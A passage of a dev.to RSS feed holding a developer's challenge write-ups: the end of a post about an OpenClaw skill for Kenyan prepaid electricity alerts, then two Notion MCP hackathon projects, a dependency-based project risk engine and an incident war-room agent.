openclaw channels login &lt;span class="nt"&gt;--channel&lt;/span&gt; whatsapp    &lt;span class="c"&gt;# scan QR with your phone&lt;/span&gt;
clawhub &lt;span class="nb"&gt;install &lt;/span&gt;kplc-sentinel                 &lt;span class="c"&gt;# install the skill&lt;/span&gt;
pip &lt;span class="nb"&gt;install &lt;/span&gt;pdfplumber                        &lt;span class="c"&gt;# for outage PDF parsing&lt;/span&gt;
openclaw gateway                              &lt;span class="c"&gt;# start the agent&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For Telegram instead of WhatsApp:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;openclaw channels add &lt;span class="nt"&gt;--channel&lt;/span&gt; telegram &lt;span class="nt"&gt;--token&lt;/span&gt; &amp;lt;your-bot-token&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Message your agent and say &lt;code&gt;stima hi&lt;/code&gt; to start onboarding.&lt;/p&gt;

&lt;h2&gt;
  
  
  What I Learned
&lt;/h2&gt;

&lt;p&gt;The biggest lesson: the agent should be the brain, not the messenger. My first version had the Python script printing fully formatted responses with emoji and Sheng phrases. The agent just parroted them. It worked, but it was a chatbot wearing an OpenClaw costume. The refactor to JSON output changed everything. Now the scripts return data, the agent applies the SOUL persona, and the same skill could work with a different personality or language without touching a line of Python.&lt;/p&gt;

&lt;p&gt;SKILL.md routing instructions matter more than the code. If the LLM doesn't know when to activate your skill, the code never runs. I rewrote the trigger section multiple times before the agent reliably caught KPLC messages without false-triggering on unrelated ones. Adding natural language examples in Swahili and Sheng to the routing table was the last iteration, and it made the skill feel native rather than command-driven.&lt;/p&gt;

&lt;p&gt;HEARTBEAT.md is what separates a chatbot from an agent. The skill went from "useful when you remember to check" to "warns you before you run out of power at 3 AM." That shift happened with 11 lines of plain English scheduling.&lt;/p&gt;

&lt;p&gt;Parsing the KPLC maintenance PDF was harder than expected. The document uses a two-column layout, so extracting text normally merges the columns into garbage. Splitting each page into left and right halves before extraction fixed it. The date formatting is also inconsistent across entries, which broke the parser until I made it case-insensitive.&lt;/p&gt;

&lt;p&gt;The appliance-based estimation model needed real-world thinking. My first version assigned flat kWh/day values to each appliance. A water heater got 4 kWh/day. But nobody runs a water heater all day. It runs for 5 minutes. The fix was switching to (wattage × typical hours per day): 3000W × 0.08h = 0.24 kWh/day. That one change made the estimates actually match what Kenyan households experience.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkh2lskjmg66lrilbg07e.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkh2lskjmg66lrilbg07e.png" alt="Estimation"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The Sheng personality makes a real difference. Early versions responded in plain English and felt like a utility. Adding "Sawa! Token imeingia" and "Stima yako iko na roughly 14 hours" made testers actually enjoy using it. But moving the personality from Python strings to SOUL.md was the right call. The agent should own the voice.&lt;/p&gt;

&lt;p&gt;Local storage was the right call. Electricity usage data is personal, and Kenyan households shouldn't need to send consumption patterns to a cloud service to get a "you're running low" alert.&lt;/p&gt;

&lt;p&gt;Security caught me early. The first version told the agent to run &lt;code&gt;python3 entrypoint.py "&amp;lt;user message&amp;gt;"&lt;/code&gt;, which meant shell metacharacters in a message could execute arbitrary commands. The fix was switching to stdin heredoc. User input never touches the shell interpreter.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fw87okyfxzkn2d0pzsv1b.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fw87okyfxzkn2d0pzsv1b.png" alt="Security "&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  ClawCon Michigan
&lt;/h2&gt;

&lt;p&gt;No did not attend&lt;/p&gt;

</description>
      <category>devchallenge</category>
      <category>openclawchallenge</category>
    </item>
    <item>
      <title>Building a Project Risk Engine on Top of Notion MCP</title>
      <dc:creator>Lewis Sawe</dc:creator>
      <pubDate>Sun, 29 Mar 2026 22:21:31 +0000</pubDate>
      <link>https://dev.to/lewisawe/building-a-project-risk-engine-on-top-of-notion-mcp-2fak</link>
      <guid>https://dev.to/lewisawe/building-a-project-risk-engine-on-top-of-notion-mcp-2fak</guid>
      <description>&lt;p&gt;&lt;em&gt;This is a submission for the &lt;a href="https://dev.to/challenges/notion-2026-03-04"&gt;Notion MCP Challenge&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  What I Built
&lt;/h2&gt;

&lt;p&gt;Risk Radar reads your Notion project databases, builds a dependency graph in memory, and writes risk reports back to Notion. It finds critical paths, single points of failure, and cascade risks that project managers usually track in their heads (or don't track at all).&lt;/p&gt;

&lt;p&gt;The part I'm most proud of: when a task is overdue, the agent walks the dependency graph and pushes every downstream deadline forward through &lt;code&gt;notion-update-page&lt;/code&gt;. Mark one task late, run the scan, and watch 8 dates shift in Notion automatically.&lt;/p&gt;

&lt;p&gt;Everything goes through Notion's MCP server. No direct API calls. Notion is the entire data layer.&lt;/p&gt;

&lt;h2&gt;
  
  
  Video Demo
&lt;/h2&gt;

&lt;p&gt;  &lt;iframe src="https://www.youtube.com/embed/qtmM9JgIgK0"&gt;
  &lt;/iframe&gt;
&lt;/p&gt;

&lt;h2&gt;
  
  
  Show us the code
&lt;/h2&gt;


&lt;div class="ltag-github-readme-tag"&gt;
  &lt;div class="readme-overview"&gt;
    &lt;h2&gt;
      &lt;img src="https://assets.dev.to/assets/github-logo-5a155e1f9a670af7944dd5e12375bc76ed542ea80224905ecaf878b9157cdefc.svg" alt="GitHub logo"&gt;
      &lt;a href="https://github.com/lewisawe" rel="noopener noreferrer"&gt;
        lewisawe
      &lt;/a&gt; / &lt;a href="https://github.com/lewisawe/risk-radar" rel="noopener noreferrer"&gt;
        risk-radar
      &lt;/a&gt;
    &lt;/h2&gt;
    &lt;h3&gt;
      
    &lt;/h3&gt;
  &lt;/div&gt;
  &lt;div class="ltag-github-body"&gt;
    
&lt;div id="readme" class="md"&gt;&lt;div class="markdown-heading"&gt;
&lt;h1 class="heading-element"&gt;🎯 Risk Radar — Dependency &amp;amp; Risk Intelligence for Notion&lt;/h1&gt;
&lt;/div&gt;
&lt;blockquote&gt;
&lt;p&gt;Built for the Notion MCP Hackathon — zero direct API calls, 100% MCP.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;The Problem&lt;/h2&gt;
&lt;/div&gt;
&lt;p&gt;Project managers track risks mentally but never systematically. When a task slips, nobody knows which 8 downstream tasks just broke their deadlines. Single points of failure hide in plain sight — one person quietly blocking an entire workstream. By the time anyone notices, the cascade has already happened.&lt;/p&gt;
&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;The Solution&lt;/h2&gt;
&lt;/div&gt;
&lt;p&gt;Risk Radar reads your Notion project databases, builds a dependency graph, and surfaces risks that humans miss. It writes actionable risk reports back to Notion and automatically propagates deadline changes through the dependency chain.&lt;/p&gt;
&lt;p&gt;Mark one task late → watch 8 downstream dates shift automatically.&lt;/p&gt;
&lt;p&gt;Everything runs through the Model Context Protocol (MCP) — zero direct Notion API calls.&lt;/p&gt;
&lt;div class="markdown-heading"&gt;
&lt;h3 class="heading-element"&gt;How It Works&lt;/h3&gt;

&lt;/div&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Read&lt;/strong&gt; — Fetches all projects and tasks from Notion via MCP, including dependency…&lt;/li&gt;
&lt;/ol&gt;&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class="gh-btn-container"&gt;&lt;a class="gh-btn" href="https://github.com/lewisawe/risk-radar" rel="noopener noreferrer"&gt;View on GitHub&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;


&lt;h2&gt;
  
  
  How I Used Notion MCP
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Reading a dependency graph through MCP
&lt;/h3&gt;

&lt;p&gt;The Tasks database has a self-referencing "Depends On" relation. Reading this through MCP takes three steps per task: fetch the database to get the data source URL, search to get page IDs, then fetch each page individually to get its properties.&lt;/p&gt;

&lt;p&gt;The properties come back inside a &lt;code&gt;&amp;lt;properties&amp;gt;&lt;/code&gt; XML block as JSON. Relation fields like "Depends On" and "Project" are arrays of Notion page URLs. So building the graph means parsing URLs like &lt;code&gt;https://www.notion.so/abc123def456&lt;/code&gt;, stripping the prefix and dashes, and using the normalized ID as the graph node key. Without that normalization step, every dependency lookup fails silently and you get an empty graph. That bug cost me an hour.&lt;/p&gt;

&lt;h3&gt;
  
  
  The graph algorithms
&lt;/h3&gt;

&lt;p&gt;Once the tasks are in memory with their dependencies resolved to names, the risk engine runs four analyses:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Critical path&lt;/strong&gt; uses DFS with memoization from root tasks (tasks with no upstream dependencies). It finds the longest chain through the dependency graph. This tells you which sequence of tasks has zero slack — if any of them slip, the project end date moves.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Single point of failure detection&lt;/strong&gt; does a recursive downstream traversal per task owner. If one person's incomplete tasks collectively block two or more downstream tasks, they're flagged. This catches the scenario where one engineer is quietly blocking an entire workstream.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;At-risk detection&lt;/strong&gt; is simpler: compare each task's deadline to today. Overdue tasks, tasks due within 3 days that haven't started, and tasks due tomorrow that are still in progress all get flagged.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Cascade impact&lt;/strong&gt; runs BFS from each at-risk task to enumerate every downstream task that would be affected by a slip.&lt;/p&gt;

&lt;p&gt;The risk score combines these: &lt;code&gt;overdue_ratio × 40 + spof_penalty (capped at 30) + cascade_penalty (capped at 30)&lt;/code&gt;. It's a rough heuristic, but it produces scores that feel right. A project with one overdue task and no dependencies scores low. A project with an overdue task that blocks 5 others through a single owner scores high.&lt;/p&gt;

&lt;h3&gt;
  
  
  Writing reports and cascading deadlines
&lt;/h3&gt;

&lt;p&gt;The risk report is a Markdown page created with &lt;code&gt;notion-create-pages&lt;/code&gt;. It includes the risk score with an emoji indicator (🔴/🟡/🟢), the critical path, at-risk tasks with reasons, SPOFs with the tasks they're blocking, and cascade impact chains. A separate Health History entry logs the score with a date for trend tracking.&lt;/p&gt;

&lt;p&gt;The cascade feature is the most interesting MCP interaction. When the scan finds an overdue task, it calculates the slip in days, then does a BFS through the dependency graph. For each downstream task that isn't done, it calls &lt;code&gt;notion-update-page&lt;/code&gt; with the new deadline using the &lt;code&gt;"date:Deadline:start"&lt;/code&gt; property format. A 5-task cascade means 5 sequential MCP update calls. Each one shifts a real deadline in Notion.&lt;/p&gt;

&lt;h3&gt;
  
  
  What surprised me about Notion MCP
&lt;/h3&gt;

&lt;p&gt;The &lt;code&gt;notion-search&lt;/code&gt; results don't include full properties. You get page IDs and titles, but to read "Depends On" or "Deadline" you need a separate &lt;code&gt;notion-fetch&lt;/code&gt; per page. For 8 tasks across 3 projects, that's about 25 MCP calls just to read the data. It works, but it means the agent is I/O bound rather than compute bound. The graph algorithms themselves run in microseconds. The MCP calls take seconds.&lt;/p&gt;

&lt;p&gt;The other surprise was date properties. Setting a date requires two properties: &lt;code&gt;"date:Deadline:start"&lt;/code&gt; for the value and &lt;code&gt;"date:Deadline:is_datetime": 0&lt;/code&gt; to indicate it's a date-only field. Missing the second one doesn't error, but the date renders differently in Notion.&lt;/p&gt;

</description>
      <category>devchallenge</category>
      <category>notionchallenge</category>
      <category>mcp</category>
      <category>ai</category>
    </item>
    <item>
      <title>I Built an Agent That Assembles Incident War Rooms in Notion Through MCP</title>
      <dc:creator>Lewis Sawe</dc:creator>
      <pubDate>Sun, 29 Mar 2026 21:48:42 +0000</pubDate>
      <link>https://dev.to/lewisawe/i-built-an-agent-that-assembles-incident-war-rooms-in-notion-through-mcp-2idk</link>
      <guid>https://dev.to/lewisawe/i-built-an-agent-that-assembles-incident-war-rooms-in-notion-through-mcp-2idk</guid>
      <description>&lt;p&gt;&lt;em&gt;This is a submission for the &lt;a href="https://dev.to/challenges/notion-2026-03-04"&gt;Notion MCP Challenge&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  What I Built
&lt;/h2&gt;

&lt;p&gt;Incident Runbook is an agent that turns Notion into a living incident response system. It watches an Incidents database, and when a new SEV1 or SEV2 appears, it cross-references three other databases (Services, Runbooks, On-Call), assembles a War Room page with everything the responder needs, and writes it back to Notion. When the incident is marked resolved, it generates an AI post-mortem with Gemini 2.5 Flash.&lt;/p&gt;

&lt;p&gt;The whole thing runs through Notion's MCP server. No REST calls, no webhooks, no middleware layer.&lt;/p&gt;

&lt;p&gt;I built this because incident response at most companies is still a manual scramble. The runbook exists somewhere, the on-call schedule is in a different tool, and the service dependency map is in someone's head. This agent pulls all of that together in seconds.&lt;/p&gt;

&lt;h2&gt;
  
  
  Video Demo
&lt;/h2&gt;

&lt;p&gt;  &lt;iframe src="https://www.youtube.com/embed/jyNJNNQCnyA"&gt;
  &lt;/iframe&gt;
&lt;/p&gt;

&lt;h2&gt;
  
  
  Show us the code
&lt;/h2&gt;


&lt;div class="ltag-github-readme-tag"&gt;
  &lt;div class="readme-overview"&gt;
    &lt;h2&gt;
      &lt;img src="https://assets.dev.to/assets/github-logo-5a155e1f9a670af7944dd5e12375bc76ed542ea80224905ecaf878b9157cdefc.svg" alt="GitHub logo"&gt;
      &lt;a href="https://github.com/lewisawe" rel="noopener noreferrer"&gt;
        lewisawe
      &lt;/a&gt; / &lt;a href="https://github.com/lewisawe/incident-runbook" rel="noopener noreferrer"&gt;
        incident-runbook
      &lt;/a&gt;
    &lt;/h2&gt;
    &lt;h3&gt;
      
    &lt;/h3&gt;
  &lt;/div&gt;
  &lt;div class="ltag-github-body"&gt;
    
&lt;div id="readme" class="md"&gt;&lt;div class="markdown-heading"&gt;
&lt;h1 class="heading-element"&gt;🚨 Incident Runbook — AI-Powered Incident Response for Notion&lt;/h1&gt;
&lt;/div&gt;
&lt;blockquote&gt;
&lt;p&gt;Built for the Notion MCP Hackathon — zero direct API calls, 100% MCP.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;The Problem&lt;/h2&gt;
&lt;/div&gt;
&lt;p&gt;When a SEV1 hits at 2am, engineers scramble: "Where's the runbook? Who's on-call? What depends on this service?" They're copy-pasting from scattered docs, pinging Slack, and losing precious minutes. Incident response shouldn't require tribal knowledge — it should be automated.&lt;/p&gt;
&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;The Solution&lt;/h2&gt;
&lt;/div&gt;
&lt;p&gt;Incident Runbook turns your Notion workspace into a living incident response system. Log an incident → a full war room assembles itself in seconds.&lt;/p&gt;
&lt;p&gt;It connects to Notion entirely through the Model Context Protocol (MCP) — reading databases, assembling pages, and writing post-mortems without a single direct API call.&lt;/p&gt;
&lt;div class="markdown-heading"&gt;
&lt;h3 class="heading-element"&gt;How It Works&lt;/h3&gt;

&lt;/div&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Detect&lt;/strong&gt; — Scans your Incidents database for new SEV1/SEV2/SEV3 entries&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Lookup&lt;/strong&gt; — Finds the affected service, pulls its runbook, maps dependencies&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Assemble&lt;/strong&gt; — Creates a War Room page with
&lt;ul&gt;
&lt;li&gt;Incident details and…&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class="gh-btn-container"&gt;&lt;a class="gh-btn" href="https://github.com/lewisawe/incident-runbook" rel="noopener noreferrer"&gt;View on GitHub&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;


&lt;h2&gt;
  
  
  How I Used Notion MCP
&lt;/h2&gt;

&lt;h3&gt;
  
  
  The four-database pattern
&lt;/h3&gt;

&lt;p&gt;The agent coordinates across four Notion databases in a single scan: Incidents, Services, Runbooks, and On-Call. Each scan starts with &lt;code&gt;notion-search&lt;/code&gt; on the Incidents database to find new or resolved entries. For each incident, it follows the "Affected Service" relation to the Services database, then follows the "Runbook" relation from that service to the Runbooks database, and pulls contacts from the On-Call database filtered by role.&lt;/p&gt;

&lt;p&gt;This means a single incident triggers reads across all four databases. The MCP call pattern looks like:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;code&gt;notion-fetch&lt;/code&gt; on the database ID to get the &lt;code&gt;collection://&lt;/code&gt; data source URL&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;notion-search&lt;/code&gt; with that URL to get page IDs&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;notion-fetch&lt;/code&gt; on each page to get properties and content&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;For a scan with 1 incident, 3 services, 2 runbooks, and 4 on-call contacts, that's roughly 20 MCP calls. Chatty, but each call is fast and the total scan takes a few seconds.&lt;/p&gt;

&lt;h3&gt;
  
  
  Relation resolution was the trickiest part
&lt;/h3&gt;

&lt;p&gt;Notion MCP returns relation properties as arrays of page URLs, not IDs. So an incident's "Affected Service" looks like &lt;code&gt;["https://www.notion.so/abc123def456"]&lt;/code&gt; rather than a clean ID. Matching that to the actual service record means parsing the URL, stripping dashes, and normalizing to a consistent format across all four databases.&lt;/p&gt;

&lt;p&gt;I spent more time debugging ID mismatches than writing the actual war room assembly. Services fetched from the database had IDs in one format, while the relation URLs from incidents had them in another. The fix was normalizing everything to dashless hex strings on read.&lt;/p&gt;

&lt;h3&gt;
  
  
  Writing Markdown back to Notion
&lt;/h3&gt;

&lt;p&gt;The war room page is a single Markdown string that Notion renders natively. It includes a details table, on-call contacts list, the full runbook steps, dependent services, a timeline, and an action checklist with checkboxes. Creating it is one &lt;code&gt;notion-create-pages&lt;/code&gt; call with the incident page as the parent.&lt;/p&gt;

&lt;p&gt;The post-mortem works the same way. The agent calculates MTTR from the incident creation time to resolution, feeds the incident details and timeline to Gemini 2.5 Flash, and writes the AI output into a new page.&lt;/p&gt;

&lt;h3&gt;
  
  
  Watch mode and connection reuse
&lt;/h3&gt;

&lt;p&gt;The agent has a &lt;code&gt;watch&lt;/code&gt; mode that polls every 30 seconds. An early version spawned a new &lt;code&gt;mcp-remote&lt;/code&gt; process on every poll cycle, which ate system resources fast. The fix was extracting the scan logic into a function that accepts an existing MCP client, so &lt;code&gt;watch&lt;/code&gt; creates one connection and reuses it across all cycles.&lt;/p&gt;

&lt;h3&gt;
  
  
  What I'd do differently
&lt;/h3&gt;

&lt;p&gt;The property parsing is fragile. Properties come back inside a &lt;code&gt;&amp;lt;properties&amp;gt;&lt;/code&gt; XML block as JSON, and the key names are case-sensitive and sometimes inconsistent (I found both &lt;code&gt;"status"&lt;/code&gt; and &lt;code&gt;"Status"&lt;/code&gt; depending on how the database was configured). A more robust version would normalize property keys on read. But for a hackathon, regex and case-checking got the job done&lt;/p&gt;

</description>
      <category>devchallenge</category>
      <category>notionchallenge</category>
      <category>mcp</category>
      <category>ai</category>
    </item>
  </channel>
</rss>
